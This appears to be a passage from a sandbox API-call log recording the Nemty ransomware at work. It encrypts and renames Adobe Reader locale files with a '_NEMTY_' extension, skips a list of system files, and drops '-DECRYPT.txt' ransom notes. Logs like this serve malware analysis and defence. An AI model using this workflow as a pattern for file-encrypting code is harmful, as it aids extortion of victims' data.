RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.295] Sleep (dwMilliseconds=0x5) [0179.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e8540f0, dwHighDateTime=0x1d561e8)) [0179.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e8540f0, dwHighDateTime=0x1d561e8)) [0179.304] GetLastError () returned 0x0 [0179.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.304] GetLastError () returned 0x0 [0179.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.304] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.304] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.305] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.305] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="/oZhS+sBSY3i1jmrDvLiCmA7w1MZzREOu/RfWhMB/GNQcv1rm6Sj+jF/8NzAl1Lx\r\nKN0W4vxh0VKdAhcKKKdw3PJT9DfE3bnq6B7RpAMQ2DrdnlLVEamvY3SVHJuMEIQj\r\nyU4T+w1bM6V7wIUyamnupjJ0+W0tzXRWcV1yONJjL2yUq+sw6J6oeX2TVI2ry+03\r\nV+xgxiMjJu6atrSfNnRjOipkAEwZ31fv59Ekj2tSk2JWtv6RQvJSOcxFSjaNbB6K\r\nXcF2d73P+s93HUk5D563NtklePQrth1plqzkiqRo2GaT3oXhIM75YcTPiQrLQK30\r\n/D8coeJPXkihDJs8JAxicQ==\r\n", pcchString=0x653e5dc) returned 1 [0179.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.305] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Weblink.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\weblink.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.305] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=22016) returned 1 [0179.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5600) returned 0x6352c48 [0179.305] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.305] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5600, lpOverlapped=0x0) returned 1 [0179.308] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.308] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5600, lpOverlapped=0x0) returned 1 [0179.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.308] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600 [0179.308] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.309] CloseHandle (hObject=0x2e8) returned 1 [0179.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.309] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Weblink.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\weblink.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Weblink.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\weblink.jpn._nemty_kgobjgd_")) returned 1 [0179.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.310] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e3914f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1e3914f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e3914f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0179.310] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0179.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0179.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0179.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0179.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.311] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e3914f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1e3914f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e3914f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0179.311] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0179.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0179.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0179.311] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0179.311] lstrcmpiW (lpString1="ko_KR", lpString2=".") returned 1 [0179.311] lstrcmpiW (lpString1="ko_KR", lpString2="..") returned 1 [0179.311] lstrcmpiW (lpString1="ko_KR", lpString2="...") returned 1 [0179.311] lstrcmpiW (lpString1="ko_KR", lpString2="windows") returned -1 [0179.311] lstrcmpiW (lpString1="ko_KR", lpString2="$RECYCLE.BIN") returned 1 [0179.311] lstrcmpiW (lpString1="ko_KR", lpString2="rsa") returned -1 [0179.311] lstrcmpiW (lpString1="ko_KR", lpString2="NTDETECT.COM") returned -1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="ntldr") returned -1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="MSDOS.SYS") returned -1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="IO.SYS") returned 1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="boot.ini") returned 1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="boot.ini") returned 1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="AUTOEXEC.BAT") returned 1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="ntuser.dat") returned -1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="desktop.ini") returned 1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="CONFIG.SYS") returned 1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="RECYCLER") returned -1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="BOOTSECT.BAK") returned 1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="bootmgr") returned 1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="programdata") returned -1 [0179.312] lstrcmpiW (lpString1="ko_KR", lpString2="appdata") returned 1 [0179.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ko_KR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0179.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ko_KR", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ko_KR", lpUsedDefaultChar=0x0) returned 5 [0179.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ko_KR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0179.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ko_KR", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ko_KR", lpUsedDefaultChar=0x0) returned 5 [0179.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0179.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0179.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0179.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0179.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0179.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0179.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0179.312] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0179.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0179.315] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.315] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0179.316] CloseHandle (hObject=0x254) returned 1 [0179.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0179.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0179.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0179.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0179.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0179.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0179.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0179.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0179.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.317] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.317] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0179.318] CloseHandle (hObject=0x254) returned 1 [0179.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0179.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.319] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1e8540f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, 